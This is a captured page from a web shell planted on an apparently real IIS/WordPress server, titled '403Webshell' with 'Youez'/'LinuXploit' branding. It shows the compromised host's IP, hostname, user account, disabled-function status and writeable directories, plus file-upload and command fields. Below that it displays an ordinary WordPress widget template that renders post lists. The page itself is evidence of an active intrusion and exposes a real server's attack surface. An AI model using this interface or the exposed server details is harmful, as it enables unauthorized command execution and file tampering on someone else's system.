403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/stirizo/wp-content/plugins/widgetkit-pro/widgets/layout/query-post/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/stirizo/wp-content/plugins/widgetkit-pro/widgets/layout/query-post/layout-1.php
<?php
/**
 * Layout 1
 * =========
 * list style for post
 * ===================
 */
?>
<div class="query-layout-1">
    <?php if($layout_header_enable): ?>
    <div class="layout-header">
        <div class="layout-title">
            <h4 >
                <?php echo esc_html($layout_title); ?>
            </h4>
        </div>
        <?php if($layout_view_all_enable): ?>
        <div class="view-all">
            <a href="<?php echo get_category_link($cat_id); ?>">
                <?php esc_html_e('View All', 'widgetkit-pro'); ?>
                <i class="fa fa-long-arrow-right"></i>
            </a>
        </div>
        <?php endif; ?>
    </div>
    <?php endif; ?>
    <?php
    /**
     * Argument
     * for query post
     * ================
     */
    $count = 0;
    if($query_post_type == 'recent'):
        $args = array(
            'orderby'	=> 'date',
            'order'		=> 'DESC',
            'post_type' =>  'post',
            'showposts'	=> $post_num_to_show,
            'post__not_in' => get_option("sticky_posts"),
        );
        elseif ($query_post_type == 'popular'):
            $args = array(
                'posts_per_page' => $post_num_to_show,
                'meta_key' => 'magmax_post_views_count',
                'orderby' => 'meta_value_num',
                'order' => 'DESC',
                'ignore_sticky_posts' => 1
            );
        elseif ($query_post_type == 'featured'):
            $args = array(
                'posts_per_page' => $post_num_to_show,
                'ignore_sticky_posts' => 1,
                'post_type' => 'post',
                'meta_query' => array(
                    array(
                        'key'  => 'post-type',
                        'value' => 'featured',
                        'compare'   => '=',
                    )
                )
            );
        elseif ($query_post_type == 'trending'):
            $args = array(
                'posts_per_page' => $post_num_to_show,
                'ignore_sticky_posts' => 1,
                'post_type' => 'post',
                'meta_query' => array(
                    array(
                        'key'  => 'post-type',
                        'value' => 'trending',
                        'compare'   => '=',
                    )
                )
            );
    endif;


    $query = new WP_Query($args);
    ?>
    <div class="cat-post-list post-grid-<?php echo $regular_post_grid ? $regular_post_grid : 'no-grid'; ?> <?php echo 'highlight-post-style-'.$highlight_layout_style; ?>">
    <?php
    if($query->have_posts()):
        ?>
        <div class="cat-post-list-wrapper">
            <?php
            while($query->have_posts()):
                $query->the_post();
                ?>
                    <?php if($count == 0 && ($highlight_first_post == 'yes')): ?>
                    <div class="featured-post">
                        <?php if(has_post_thumbnail()): ?>
                            <div class="post-thumb">
                                <a href="<?php the_permalink() ?>">
                                    <?php the_post_thumbnail($featured_thumbnail_size); ?>
                                </a>
                            </div>
                        <?php endif; ?>
                        <div class="post-data">
                            <div class="post-title">
                                <?php if($show_highlight_cat_tag): ?>
                                    <div class="highlight-post-tag">
                                        <div class="post-category">
                                            <?php magmax_get_post_category_with_bg(get_the_ID()); ?>
                                        </div>
                                    </div>
                                <?php endif; ?>
                                <a href="<?php the_permalink(); ?>" class="highlight-post-title highlight-title">
                                    <h3><?php the_title(); ?></h3>
                                </a>
                            </div>
                            <div class="post-meta">
                                <div class="post-author"><?php echo get_the_author(); ?></div>
                                <div class="seperator"> <span><?php esc_html_e('|', 'widgetkit-pro'); ?></span></div>
                                <div class="post-date"><?php echo get_the_date(); ?></div>
                            </div>
                            <?php if($show_excerpt): ?>
                                <div class="post-excerpt"><?php echo wp_trim_words(get_the_excerpt(), $highlight_excerpt_word_count, ''); ?></div>
                            <?php endif; ?>
                        </div>
                    </div>
                    <?php else: ?>
                    <div class="regular-post">
                        <div class="regular-post-wrapper row <?php echo esc_html($regular_post_style); ?>">
                            <?php if(has_post_thumbnail()): ?>
                                <div class="post-thumb <?php echo ($highlight_first_post == 'yes') ? 'col-md-4': 'col-md-4';?>">
                                    <a href="<?php the_permalink(); ?>">
                                        <?php the_post_thumbnail($regular_thumbnail_size ); ?>
                                    </a>
                                </div>
                            <?php endif; ?>
                            <div class="post-data <?php echo ($highlight_first_post == 'yes') ? 'col-md-8': 'col-md-8';?>">
                                <div class="post-title">
                                    <?php if($show_cat_tag): ?>
                                        <div class="post-tag">
                                            <div class="post-category">
                                                <?php magmax_get_post_category_with_bg(get_the_ID()); ?>
                                            </div>
                                        </div>
                                    <?php endif; ?>
                                    <a href="<?php the_permalink(); ?>" class="regular-post-title regular-title">
                                        <h3><?php the_title(); ?></h3>
                                    </a>
                                </div>
                                <div class="post-meta">
                                    <div class="post-author"><?php echo get_the_author(); ?></div>
                                    <div class="seperator"> <span><?php esc_html_e('|', 'widgetkit-pro'); ?></span></div>
                                    <div class="post-date"><?php echo get_the_date(); ?></div>
                                </div>
                                <?php if($show_excerpt): ?>
                                    <div class="post-excerpt"><?php echo wp_trim_words(get_the_excerpt(), $regular_excerpt_word_count, ''); ?></div>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                    <?php endif; ?>
                <?php
                $count++;
            endwhile;
            wp_reset_postdata();
            ?>
        </div>
        <?php
    endif;
    ?>
    </div>
    <?php //wp_reset_query(); ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit